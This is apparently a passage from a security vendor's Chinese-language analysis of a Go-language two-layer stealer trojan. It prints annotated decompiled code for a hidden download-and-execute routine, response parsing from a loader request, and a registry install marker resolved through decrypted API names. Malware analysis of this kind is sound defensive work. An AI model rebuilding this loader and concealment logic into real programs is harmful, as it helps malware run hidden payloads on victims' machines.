盗签伪装 内存匿踪│Go语言双层窃密木马攻击分析

原创

火绒安全
火绒安全

火绒安全

2026年8月31日 16:30
北京

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

// 程序: 内层内存组件// 函数: 0x140008D64（Loader 模式请求）、0x140009324（下载与执行）、0x140028A20（装机标记写入）// 作用: 下载任意文件落盘后按扩展名隐藏执行，并写入按卷序列号命名的装机标记// 说明: 落盘体校验 size≥0x400 且以 MZ 开头；响应按 key:value 切分逐项派发；标记先读后写/* Loader 模式请求（FUN_140008D64）——按冒号切分响应并逐项派发： */
ulonglong FUN_140008d64(longlong param_1,int param_2)
{
  do {  // 逐字符扫描整段响应，按分隔符切分派发
    cVar1 = local_838[uVar7];  // 取当前字符
    if ((cVar1 == '|') || (cVar1 == '\\0')) {  // 遇段分隔符或串尾则处理一段
      local_838[uVar7] = '\\0';  // 以串尾覆盖分隔符，截断当前段
      pcVar6 = local_838 + uVar4;  // 指向当前段起点（紧接上一段之后）
      cVar2 = *pcVar6;  // 取段首字符
      while ((cVar2 != '\\0' && (cVar2 != ':'))) {  // 跳过键名，定位冒号分隔符
        pcVar6 = pcVar6 + 1;  // 前移指针
        cVar2 = *pcVar6;  // 取下一字符
      }
      if (*pcVar6 == ':') {  // 确认找到 key:value 中的冒号
        *pcVar6 = '\\0';  // 截断键名，pcVar6+1 即为取值起点
        uVar9 = (ulonglong)((int)uVar9 + 1);  // 成功解析的段计数 +1
        iVar3 = FUN_140009324(param_1,pcVar6 + 1);  // 将取值派发给下载执行例程
        if (iVar3 != 0) {  // 派发成功
          uVar10 = (ulonglong)((int)uVar10 + 1);  // 成功执行的计数 +1
        }
      }
      iVar3 = (int)uVar9;  // 记录已解析段数
      uVar4 = uVar7 + 1;  // 下一段起点越过当前分隔符
      if (cVar1 == '\\0') break;  // 到串尾则结束扫描
    }
    iVar3 = (int)uVar9;  // 更新已解析段数
    uVar7 = uVar7 + 1;  // 前移到下一字符
  } while (uVar7 <= uVar8);  // 直到扫描完整个响应缓冲区
}/* 下载与执行（FUN_140009324）——下载体长度下限、MZ 头校验与按扩展名隐藏执行： */
undefined8 FUN_140009324(longlong param_1,undefined8 param_2,char *param_3)
{
  if (((iVar1 == 0) || (CONCAT71(uStack_517,local_518) == 0)) || (local_510 < 100)) {  // 下载失败或体积过小则放弃
    FUN_140004400(&local_518);  // 释放响应缓冲
    FUN_14000e3e8(2,&DAT_1400770b0);  // 记录错误
    return 0;  // 返回失败
  }
  if (((local_510 < 0x400) || (*(char *)CONCAT71(uStack_517,local_518) != 'M')) ||
     (((char *)CONCAT71(uStack_517,local_518))[1] != 'Z')) {  // 落盘体长度 < 0x400 或非 MZ 头则校验失败
    FUN_140004400(&local_518);  // 释放响应缓冲
    FUN_14000e3e8(2,&DAT_140077148,local_510);  // 记录长度
    FUN_1400295c0(local_4c8);  // 清理落盘路径缓冲
    return 0;  // 返回失败
  }/* 校验通过：按扩展名选择隐藏执行模板，以 CREATE_NO_WINDOW（0x8000000）启动： */
  uVar2 = FUN_140023c30(&DAT_140077080);  // 按解密名解析执行模板选择接口
  pcVar4 = (code *)FUN_1400247a4(uVar2);  // 取得按扩展名选解释器的函数指针
  if (pcVar4 == (code *)0x0) {  // 未解析到执行入口
    FUN_14000e3e8(2,&DAT_140077178);  // 记录缺失
  }
  else {  // 已解析到执行入口
    FUN_14002540c(local_3b8,0x68);  // 初始化启动信息结构
    local_3b8[0] = 0x68;  // 结构大小字段
    local_37c = 1;  // 标志位
    FUN_14002540c(&local_4e8,0x18);  // 初始化进程信息结构
    /* 按扩展名选择执行模板（三类路由）： */
    iVar1 = FUN_14002f110(local_4c8,&DAT_1400770f0);  // 比对类型一扩展名
    if (iVar1 == 0) {  // 类型一
      iVar1 = FUN_14002f110(local_4c8,&DAT_1400770fc);  // 比对类型二
      if (iVar1 == 0) { puVar5 = &DAT_140077228; }  // 类型二模板
      else { puVar5 = &DAT_1400771d0; }  // 默认模板
      FUN_14002f618(local_238,0x208,puVar5,local_4c8);  // 装配命令行
    }
    else {  // 非类型一
      FUN_14002f618(local_238,0x208,&DAT_1400771a0,local_4c8);  // 装配命令行
      if ((param_3 != (char *)0x0) && (*param_3 != '\\0')) {  // 存在附加参数
        FUN_14002e4f4(local_238,0x208,&DAT_140077094);  // 追加参数前缀
        FUN_14002e4f4(local_238,0x208,param_3);  // 追加附加参数
      }
    }
    iVar1 = (*pcVar4)(0,local_238,0,0,0,0x8000000,0,0,local_3b8,&local_4e8);  // 按扩展名隐藏执行（CREATE_NO_WINDOW）
    if (iVar1 != 0) {  // 执行成功
      FUN_14000e3e8(4,&DAT_140077248,local_4c8,local_4d8);  // 记录成功
      return 1;  // 返回成功
    }
  }
}/* 装机标记（FUN_140028A20）——TS_ 格式串解密与注册表接口运行时解析： */
ulonglong FUN_140028a20(void)
{
  local_1e8[0] = 0x66;
  local_res8 = CONCAT44((int)(local_res8 >> 0x20),(uint)local_1e8) ^ 0x60470300;
  local_2c8 = 0xf6;
  local_2a4 = 0x5f;
  if (DAT_14007f9c0 != '\\0') {
    return (ulonglong)((uint)local_1e8 ^ 0x60470300);
  }
  FUN_140001364(&DAT_140046f1d,0x33,&DAT_14004b8b4,&DAT_14007f7e8);  // 解密 TS_ 前缀格式串到 DAT_14007f7e8
  /* 值名 local_2f8 由卷序列号拼为 8 位十六进制，TS_ 前缀由 DAT_14007f7e8 给出： */
  /* 注册表 5 个 API 按解密名运行时解析（开/读/写/建/关）： */
  pcVar7 = (code *)FUN_140024514(lVar6, FUN_140023c30(&DAT_14007f778));  // 打开键
  pcVar8 = (code *)FUN_140024514(lVar6, FUN_140023c30(&DAT_14007f790));  // 读值
  pcVar9 = (code *)FUN_140024514(lVar6, FUN_140023c30(&DAT_14007f7a8));  // 写值
  pcVar10 = (code *)FUN_140024514(lVar6, FUN_140023c30(&DAT_14007f7c0));  // 创建键
  FUN_140023c30(&DAT_14007f7d8);  // 解析关闭接口
  pcVar11 = (code *)FUN_140024514(lVar6);  // 关闭键
  if ((((pcVar7 == (code *)0x0) || (pcVar8 == (code *)0x0)) || (pcVar9 == (code *)0x0)) ||
     ((pcVar10 == (code *)0x0 || (pcVar11 == (code *)0x0)))) goto LAB_1400290c4;  // 任一接口解析失败则跳转至清理返回
  /* 先读后写——已存在且长度 > 6 则幂等早退，否则创建并写入 8 字节： */
  iVar5 = (*pcVar7)(0x80000001,&DAT_14007f7e8,0,0x20019,puVar15);  // 以 KEY_READ 打开 Explorer 键
  if (iVar5 == 0) {  // 打开成功
    puVar16 = local_res18;  // 指向返回值大小缓冲
    puVar15 = (ulonglong *)&DAT_14007f9c0;  // 取值目标为装机标记全局
    local_res18[0] = 8;  // 期望读取 8 字节
    local_res10[0] = 0;  // 值类型初值
    iVar5 = (*pcVar8)(local_res8,local_2f8,0,local_res10,&DAT_14007f9c0,puVar16);  // 读取以卷序列号命名的标记值
    uVar17 = (undefined4)((ulonglong)puVar16 >> 0x20);  // 保存返回大小高 32 位供后续创建使用
    if (((iVar5 == 0) && (local_res10[0] == 1)) && ((DAT_14007f9c0 != '\\0' && (6 < local_res18[0]))
       ) {  // 标记已存在且长度 > 6，则幂等早退
      DAT_14007f9c7 = 0;  // 清除标记存在标志
      uVar12 = (*pcVar11)(local_res8);  // 关闭键句柄
      return uVar12;  // 直接返回，不重复写入
    }
    (*pcVar11)(local_res8);  // 读取分支下关闭键句柄
  }
  FUN_1400290d0();  // 跳转点/清理：分配新键句柄上下文
  local_res20[0] = 0;  // 初始化类型缓冲
  local_res8 = 0;  // 清空键句柄
  uVar12 = (*pcVar9)(0x80000001,&DAT_14007f7e8,0,0,(ulonglong)puVar15 & 0xffffffff00000000,
                     CONCAT44(uVar17,0x20006),0,&local_res8,local_res20);  // 以 KEY_CREATE_SUB_KEY 创建/打开键
  if ((int)uVar12 != 0) {  // 创建失败
    return uVar12;  // 返回错误码
  }
  (*pcVar10)(local_res8,local_2f8,0,1,&DAT_14007f9c0,8);  // 写入 8 字节装机标记值（按卷序列号命名）
  uVar12 = (*pcVar11)(local_res8);  // 关闭键句柄
  return uVar12;  // 函数返回
}